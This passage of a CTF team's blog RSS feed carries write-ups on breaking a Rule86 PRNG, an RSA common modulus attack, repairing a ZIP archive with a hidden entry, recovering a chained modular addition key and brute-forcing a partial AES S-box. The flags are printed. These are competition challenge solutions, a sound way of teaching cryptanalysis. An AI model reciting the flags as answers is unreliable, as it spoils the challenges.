&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;y[0] = RULE[0b100] # 0bXXX100
y[1] = RULE[0b110] # 0bXX110X 
y[2] = RULE[0b11]  # 0bX011XX
y[3] = RULE[0b1]   # 0b001XXX
y = y[::-1]        # reverse y 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Output y will be &lt;code class=&quot;highlighter-rouge&quot;&gt;0b1011&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Reversing this is pretty easy too, just scan &lt;strong&gt;y&lt;/strong&gt; and get the possible preimage values of &lt;strong&gt;RULE&lt;/strong&gt; mapping function that result in either &lt;strong&gt;1&lt;/strong&gt; or &lt;strong&gt;0&lt;/strong&gt;.&lt;br /&gt;
If the current &lt;strong&gt;y&lt;/strong&gt; bit is &lt;strong&gt;1&lt;/strong&gt;, check what value in RULE output &lt;strong&gt;1&lt;/strong&gt; and check if that value is consistent with the previous ones (since chosen bits form &lt;strong&gt;x&lt;/strong&gt; are overlapping)&lt;/p&gt;

&lt;p&gt;Are you starting having an headache? Me too.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/PequalsNP-team/pequalsnp-team.github.io/blob/master/assets/InsomnihackTeaser2018/keystream_recovery.py&quot;&gt;Bonus script&lt;/a&gt; that recover the integer keystream&lt;br /&gt;
&lt;a href=&quot;https://github.com/PequalsNP-team/pequalsnp-team.github.io/blob/master/assets/InsomnihackTeaser2018/prng.py&quot;&gt;Final script&lt;/a&gt; that reverse the PRNG and get the seed/flag&lt;/p&gt;

&lt;p&gt;Flag is: &lt;code class=&quot;highlighter-rouge&quot;&gt;INS{Rule86_is_W0lfr4m_Cha0s}&lt;/code&gt;&lt;/p&gt;
</description>
        <pubDate>Tue, 23 Jan 2018 00:00:00 +0000</pubDate>
        <link>https://PequalsNP-team.github.io/writeups/Rule86</link>
        <guid isPermaLink="true">https://PequalsNP-team.github.io/writeups/Rule86</guid>
      </item>
    
      <item>
        <title>CodeBlue CTF 2017 - Common Modulus 1,2,3</title>
        <description>&lt;script type=&quot;text/javascript&quot; async=&quot;&quot; src=&quot;https://cdn.rawgit.com/mathjax/MathJax/2.7.1/MathJax.js?config=TeX-MML-AM_CHTML&quot;&gt;
&lt;/script&gt;

&lt;script type=&quot;text/x-mathjax-config&quot;&gt;
MathJax.Hub.Config({
  TeX: { equationNumbers: { autoNumber: &quot;AMS&quot; } },
  tex2jax: {
    inlineMath: [['$','$'], ['\\(','\\)']],
    processEscapes: true
  }
});
&lt;/script&gt;

&lt;p&gt;Crypto - 100 Points&lt;/p&gt;

&lt;p&gt;Common Modulus 1: Simple Common Modulus Attack&lt;br /&gt;
Common Modulus 2: Common Modulus Attack with common exponent divisor&lt;br /&gt;
Common Modulus 3: Common Modulus Attack with common exponent divisor + message padding&lt;/p&gt;

&lt;h3 id=&quot;writeup&quot;&gt;Writeup&lt;/h3&gt;

&lt;p&gt;The challenge title was pretty self explanatory.&lt;/p&gt;

&lt;p&gt;textbook RSA is vulnerable to &lt;a href=&quot;https://crypto.stackexchange.com/a/16285&quot;&gt;Common Modulus Attack&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;RSA works like the following $c = m^e \mod N$&lt;/p&gt;

&lt;p&gt;If you encrypt the same message with the same $N$ like:&lt;br /&gt;
$C_1 = M^{e_1} \mod N$&lt;br /&gt;
$C_2 = M^{e_2} \mod N$&lt;/p&gt;

&lt;p&gt;Then $\gcd(e_1, e_2)=d$, this means that $a$ and $b$ exists such that $e_1a + e_2b=d$.&lt;/p&gt;

&lt;p&gt;This is usefull since:
&lt;script type=&quot;math/tex&quot;&gt;% &lt;![CDATA[
\begin{align}
C_1^{a}*C_2^{b}&amp;=(M^{e_1})^{a}*(M^{e_2})^{b}\\
&amp;=M^{e_1a}*M^{e_2b}\\
&amp;=M^{e_1a+e_2b}\\
&amp;=M^d
\end{align} %]]&gt;&lt;/script&gt;&lt;/p&gt;

&lt;p&gt;In the case where $e_1$ and $e_2$ don’t share any factor, $\gcd(e_1, e_2)=1$ so $M^d = M^1 = M$.&lt;br /&gt;
In the case where $e_1$ and $e_2$ share some factors, we end up with $M^d$.&lt;/p&gt;

&lt;p&gt;Common Modulus 1 was the first easy case.&lt;/p&gt;

&lt;p&gt;In Common Modulus 2 both the exponents were multiplied by $3$, so $d=3$ then $M^d=M^3$&lt;br /&gt;
Luckily our $M^3$ is smaller than our $N$ so we can retrive the flag by applying the cube-root.&lt;/p&gt;

&lt;p&gt;In Common Modulus 3, the greatest common divisor is $17$ and unfortunately $M^{17}&amp;gt;N$.&lt;br /&gt;
We need to remove the padding from $M$ until $M^{17}&amp;lt;N$ then take the 17th-root as before.&lt;/p&gt;

&lt;p&gt;The message/flag is padded with the following code:&lt;/p&gt;
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FLAG&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'hex'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8192&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'00'&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;FLAG&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;len(FLAG)&lt;/code&gt; should be &lt;code class=&quot;highlighter-rouge&quot;&gt;2046&lt;/code&gt;, the previous flags were &lt;code class=&quot;highlighter-rouge&quot;&gt;CBCTF{&amp;lt;32_char_here&amp;gt;}&lt;/code&gt;  so converted in hex we have &lt;code class=&quot;highlighter-rouge&quot;&gt;len(flag) = 78&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;$2046-78=1968$&lt;/p&gt;

&lt;p&gt;Adding &lt;code class=&quot;highlighter-rouge&quot;&gt;00&lt;/code&gt; to an hex number it’s the same as multiplying by $2^4$,&lt;br /&gt;
so we need to multiply the padded $M$ by $2^{-4}$ to remove all the &lt;code class=&quot;highlighter-rouge&quot;&gt;00&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Let $d=17$ and $i=1968$, retrive $M$ with&lt;/p&gt;

&lt;script type=&quot;math/tex; mode=display&quot;&gt;% &lt;![CDATA[
\begin{align}
M''&amp;=C_1^{a}*C_2^{b}\\
M'&amp;=M''*2^{-d*4*i}\\
M&amp;=\sqrt[d]{M'}\qquad
\end{align} %]]&gt;&lt;/script&gt;

&lt;p&gt;The complete python script is available &lt;a href=&quot;https://github.com/PequalsNP-team/pequalsnp-team.github.io/blob/master/assets/CodeBlue2017/common_modulus.py&quot;&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;CBCTF{6ac2afd2fc108894db8ab21d1e30d3f3}
CBCTF{d65718235c137a94264f16d3a51fefa1}
CBCTF{b5c96e00cb90d11ec6eccdc58ef0272d}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</description>
        <pubDate>Mon, 13 Nov 2017 00:00:00 +0000</pubDate>
        <link>https://PequalsNP-team.github.io/writeups/common_modulus</link>
        <guid isPermaLink="true">https://PequalsNP-team.github.io/writeups/common_modulus</guid>
      </item>
    
      <item>
        <title>Square CTF 2017 - Reading between the lines</title>
        <description>&lt;p&gt;Forensics - 100 Points&lt;/p&gt;

&lt;p&gt;Find the secret in the archive&lt;/p&gt;

&lt;p&gt;Evil Robot Corp accidently made their S3 bucket public and we were able to grab this backup archive before we were kicked out. We think there might be a secret in here, but we can’t find it. Can you help us?&lt;/p&gt;

&lt;h3 id=&quot;writeup&quot;&gt;Writeup&lt;/h3&gt;

&lt;p&gt;I really enjoyed this Forensics challenge.&lt;/p&gt;

&lt;p&gt;You start with a &lt;code class=&quot;highlighter-rouge&quot;&gt;zip&lt;/code&gt; archive.&lt;br /&gt;
If you open it you can extract 3 &lt;code class=&quot;highlighter-rouge&quot;&gt;jpg&lt;/code&gt; files with photos of cats.&lt;/p&gt;

&lt;p&gt;Time to study the PKZIP format!&lt;/p&gt;

&lt;p&gt;(&lt;a href=&quot;https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html&quot;&gt;This&lt;/a&gt; is a nice start)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload.wikimedia.org/wikipedia/commons/thumb/6/63/ZIP-64_Internal_Layout.svg/400px-ZIP-64_Internal_Layout.svg.png&quot; alt=&quot;ZIP64&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A ZIP file is made of several entries, compressed and concatenated together.&lt;br /&gt;
Each entry is preceded by a &lt;strong&gt;local header&lt;/strong&gt; and &lt;em&gt;can be&lt;/em&gt; followed by a &lt;strong&gt;data descriptor&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;At the end of the ZIP file we have the &lt;strong&gt;central directory&lt;/strong&gt; that contains the references to each entry in the file.&lt;/p&gt;

&lt;p&gt;By opening our zip file with an Hex editor we noticed that there were 4 &lt;code class=&quot;highlighter-rouge&quot;&gt;PK\x04\x05&lt;/code&gt; signatures.&lt;br /&gt;
Those bytes are the &lt;strong&gt;local header&lt;/strong&gt; signature, so we actually have 4 entries in the zip file.&lt;/p&gt;

&lt;p&gt;Then we looked at the &lt;strong&gt;central directory&lt;/strong&gt; entries (signature &lt;code class=&quot;highlighter-rouge&quot;&gt;PK\x01\x02&lt;/code&gt;) but only 3 are listed here.&lt;/p&gt;

&lt;p&gt;MUAHAHAHAHAH.&lt;/p&gt;

&lt;p&gt;Ok easy, we only need to add the missing entry to the central directory.&lt;/p&gt;

&lt;p&gt;This is the central entry header&lt;br /&gt;
&lt;img src=&quot;https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip-images/central-file-header.png&quot; alt=&quot;central file header&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We need to fill all these fields for the missing entry.&lt;br /&gt;
We can get them from the local entry header&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip-images/local-file-header.png&quot; alt=&quot;local file header&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;But…&lt;/p&gt;

&lt;p&gt;Compressed and uncompressed sizes are zero-ed in the local file header 😢&lt;/p&gt;

&lt;p&gt;Don’t you worry, don’t you worry child…&lt;/p&gt;

&lt;p&gt;In this zip archive the data descriptor flag is set for every entry so the compressed and uncompressed sizes are at the end of each entry.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip-images/data-descriptor.png&quot; alt=&quot;local file header&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We fixed the zip file and retrieved the flag.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;strong&gt;BONUS&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Since I love automation and working with hex editors is the farther thing from it,&lt;br /&gt;
I’ve decided to create a &lt;a href=&quot;https://github.com/TheZ3ro/zipfix&quot;&gt;script&lt;/a&gt; to extract zip entries that are not present in the central directory.&lt;/p&gt;

&lt;p&gt;The script was first written by &lt;strong&gt;ejrh&lt;/strong&gt;, I’ve added data descriptor support to make it work for this challenge :)&lt;/p&gt;

&lt;p&gt;You can read &lt;a href=&quot;https://ejrh.wordpress.com/2012/05/15/fixing-a-zip-file/&quot;&gt;here&lt;/a&gt; how the script works&lt;/p&gt;
</description>
        <pubDate>Fri, 13 Oct 2017 00:00:00 +0000</pubDate>
        <link>https://PequalsNP-team.github.io/writeups/reading_between_the_lines</link>
        <guid isPermaLink="true">https://PequalsNP-team.github.io/writeups/reading_between_the_lines</guid>
      </item>
    
      <item>
        <title>DefCamp CTF 2017 - ForgotMyKey</title>
        <description>&lt;p&gt;Crypto - 100 Points&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/PequalsNP-team/pequalsnp-team.github.io/blob/master/assets/DefCamp2017/chall.php&quot;&gt;Challenge source code&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;writeup&quot;&gt;Writeup&lt;/h3&gt;

&lt;p&gt;This challenge was pretty easy (a simple &lt;strong&gt;chained modular addition&lt;/strong&gt;), but I want to share the script I wrote that &lt;em&gt;automagically&lt;/em&gt; solve this type of challenge.&lt;br /&gt;
&lt;em&gt;Note&lt;/em&gt;: Modular addition behaves the same way as XOR operation, you know. &lt;code class=&quot;highlighter-rouge&quot;&gt;;)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;my_encrypt&lt;/code&gt; function takes as input the &lt;code class=&quot;highlighter-rouge&quot;&gt;flag&lt;/code&gt; and the &lt;code class=&quot;highlighter-rouge&quot;&gt;key&lt;/code&gt;, hash the key with &lt;strong&gt;md5&lt;/strong&gt; and then append the hash to the flag.
Finally the text is encrypted with the key hash.&lt;br /&gt;
&lt;em&gt;Note:&lt;/em&gt; the ciphertext is encoded in &lt;strong&gt;little-endian&lt;/strong&gt; hex.&lt;/p&gt;

&lt;p&gt;What is a &lt;strong&gt;chained modular addition&lt;/strong&gt;?&lt;br /&gt;
IDK either.&lt;/p&gt;

&lt;p&gt;Anyway, it’s a stream cipher that for each character adds together the current plaintext char, the previous ciphertext char and the current key char. All the additions are in modular arithmetic.&lt;/p&gt;

&lt;p&gt;We took advantage of the &lt;code class=&quot;highlighter-rouge&quot;&gt;DCTF{}&lt;/code&gt; flag format as plaintext, the &lt;strong&gt;md5&lt;/strong&gt; and the flag (&lt;code class=&quot;highlighter-rouge&quot;&gt;DCTF{sha256(text)}&lt;/code&gt;) length.&lt;br /&gt;
With this knowledge we successfully retrived the key part by part with successive decryption.&lt;/p&gt;

&lt;p&gt;You can see the solver script &lt;a href=&quot;https://github.com/PequalsNP-team/pequalsnp-team.github.io/blob/master/assets/DefCamp2017/solve.py&quot;&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Those known parameters are easily tweakable in the solver script.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;klength&lt;/code&gt; is the key length.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;llength&lt;/code&gt; is the plaintext length excluding the key appended. (in this case was &lt;code class=&quot;highlighter-rouge&quot;&gt;DCTF{sha256}|&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;s&lt;/code&gt; is the ciphertext (big-endian hex encoded)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;kn&lt;/code&gt; is the known part of the plaintext (in this case was &lt;code class=&quot;highlighter-rouge&quot;&gt;DCTF{&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;modu&lt;/code&gt; is the module of the addition (given in the source code)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;decrypt&lt;/code&gt; function is totally separated from the solver logic, you can do whatever you want here&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;How the solver works?&lt;br /&gt;
I(really)DK.&lt;/p&gt;

&lt;p&gt;In the first step, it takes the known part of the plaintext and retrieves the related part of the key.&lt;br /&gt;
In our case it was the starting piece of the flag format.&lt;br /&gt;
&lt;em&gt;Note:&lt;/em&gt; If you know another piece of plaintext, and not the starting part, you can tweak the solver script and pass to the &lt;code class=&quot;highlighter-rouge&quot;&gt;decKey&lt;/code&gt; function the index from the start &lt;code class=&quot;highlighter-rouge&quot;&gt;:D&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then the magic happens.&lt;br /&gt;
The script constructs a fake plaintext made of &lt;code class=&quot;highlighter-rouge&quot;&gt;_&lt;/code&gt;s, decrypts the ciphertext with the retrieved part of the key, and then takes from the end of the plaintext a different part of the key (since the key was appended!).&lt;br /&gt;
Step after step the ciphertext is decrypted and the plaintext is revealed part by part resulting in a &lt;strong&gt;magical&lt;/strong&gt; &lt;em&gt;auto-complete&lt;/em&gt; &lt;strong&gt;effect&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://PequalsNP-team.github.io/assets/DefCamp2017/flag.png&quot; alt=&quot;Flag&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Abracadabra.&lt;br /&gt;
&lt;code class=&quot;highlighter-rouge&quot;&gt;DCTF{0d940de38493d96dc6255cbb2c2ac7a2db1a7792c74859e95215caa6b57c69b2}&lt;/code&gt;&lt;/p&gt;
</description>
        <pubDate>Sun, 08 Oct 2017 00:00:00 +0000</pubDate>
        <link>https://PequalsNP-team.github.io/writeups/ForgotMyKey</link>
        <guid isPermaLink="true">https://PequalsNP-team.github.io/writeups/ForgotMyKey</guid>
      </item>
    
      <item>
        <title>SECT CTF 2017 - Bad AES</title>
        <description>&lt;p&gt;Crypto - 100 Points&lt;/p&gt;

&lt;p&gt;Acid Burn found this AES-CBC encrypted text in the garbage file that Joey stole from the Gibson.&lt;br /&gt;
Sadly, Joey didn’t get the full S-BOX used by The Plague. Can you help them recover the text?&lt;/p&gt;

&lt;h3 id=&quot;writeup&quot;&gt;Writeup&lt;/h3&gt;

&lt;p&gt;This challenge wants us to dive into AES internals.&lt;/p&gt;

&lt;p&gt;AES stands for Advanced Encryption Standard and it’s a subset of the &lt;strong&gt;Rijndael&lt;/strong&gt; cipher.&lt;br /&gt;
Rijndael is a Simmetric-key Block-cipher algorithm.&lt;br /&gt;
AES standard uses 128, 192 and 256 bits keys, each with 10, 12 and 14 rounds.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;Ciphertext, IV and Key are given&lt;/strong&gt;. The Key is 128 bits.&lt;/p&gt;

&lt;p&gt;But…&lt;br /&gt;
The given ciphertext is encrypted using a &lt;strong&gt;custom SBox&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;What is an &lt;strong&gt;SBox&lt;/strong&gt; (Substitution Box) ?&lt;/p&gt;

&lt;p&gt;AES works in rounds.&lt;br /&gt;
10 rounds if the key is 128 bit, as in this case.&lt;/p&gt;

&lt;p&gt;For every round 4 operations are performed (note: except for the Initial and the Final round):&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;&lt;em&gt;SubBytes&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;ShiftRows&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;MixColumns&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;AddRoundKey&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here we are interested in the &lt;strong&gt;SubBytes&lt;/strong&gt; function that performs a non-linear substitution where each byte is replaced with another according to a lookup table (our SBox).&lt;/p&gt;

&lt;p&gt;More on &lt;a href=&quot;https://en.wikipedia.org/wiki/Advanced_Encryption_Standard&quot;&gt;AES internals&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Rijndael_S-box&quot;&gt;Rijndael_S-box&lt;/a&gt; on Wikipedia :)&lt;/p&gt;

&lt;p&gt;So, from the &lt;code class=&quot;highlighter-rouge&quot;&gt;sbox.txt&lt;/code&gt; file we can see that the &lt;em&gt;last 16 bytes are missing&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;We need to bruteforce them but we have 16 bytes with 16 possible values (from 0x0 to 0xf).&lt;br /&gt;
&lt;code class=&quot;highlighter-rouge&quot;&gt;16^16 = 1,844674407×10^19&lt;/code&gt;. &lt;em&gt;Hold your processor&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;In reality, SBox-es are matrices where &lt;em&gt;each cell can only have 1 unique value&lt;/em&gt;, from 0x00 to 0xff.&lt;br /&gt;
So we don’t have to bruteforce the entire space.&lt;/p&gt;

&lt;p&gt;For example, this is the standard Rijndael SBox:
&lt;img src=&quot;https://PequalsNP-team.github.io/assets/SECT2017/sbox.png&quot; alt=&quot;AES SBox&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can simply calculate what are the missing values and permutate their positions at the end of the SBox.&lt;/p&gt;

&lt;p&gt;Another thing. We are given the SBox, but in decryption Rijndael uses the inverse-SBox.&lt;br /&gt;
We can calculate the inverse by looking up the table.&lt;/p&gt;

&lt;p&gt;For example, looking at the standard Rijndael SBox above:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;S[0x0][0x0] = 0x52&lt;/code&gt;&lt;br /&gt;
&lt;code class=&quot;highlighter-rouge&quot;&gt;Sinv[0x5][0x2] = 0x00&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The permutation of 8 values in 8 positions are &lt;code class=&quot;highlighter-rouge&quot;&gt;8! = 40320&lt;/code&gt;. &lt;em&gt;Very bruteforceable :D&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The steps to decrypt the ciphertext are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Find the missing values in the SBox&lt;/li&gt;
  &lt;li&gt;Permute those values at the end of the SBox&lt;/li&gt;
  &lt;li&gt;For each permutation:
    &lt;ul&gt;
      &lt;li&gt;Invert the SBox&lt;/li&gt;
      &lt;li&gt;Try to decrypt the ciphertext with key and IV&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Party Hard!&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;The password to access the swiss bank account is SECT{1_L0V3_FUN!_BUT_M0N3Y_15_B3773R!}. I shouldn't forget it.&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://PequalsNP-team.github.io/assets/SECT2017/flag.png&quot; alt=&quot;Flag&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/PequalsNP-team/pequalsnp-team.github.io/blob/master/assets/SECT2017/sbox.py&quot;&gt;Here the full script&lt;/a&gt; I wrote to solve the flag.&lt;br /&gt;
It was a nightmare finding a Pure-Python AES library and use custom SBox-es, I’ve forked and modified &lt;a href=&quot;https://github.com/TheZ3ro/pyAES&quot;&gt;pyAES&lt;/a&gt; to do this.&lt;/p&gt;
</description>
        <pubDate>Fri, 15 Sep 2017 00:00:00 +0000</pubDate>
        <link>https://PequalsNP-team.github.io/writeups/Bad-Aes</link>
        <guid isPermaLink="true">https://PequalsNP-team.github.io/writeups/Bad-Aes</guid>
      </item>
    
  </channel>
</rss>
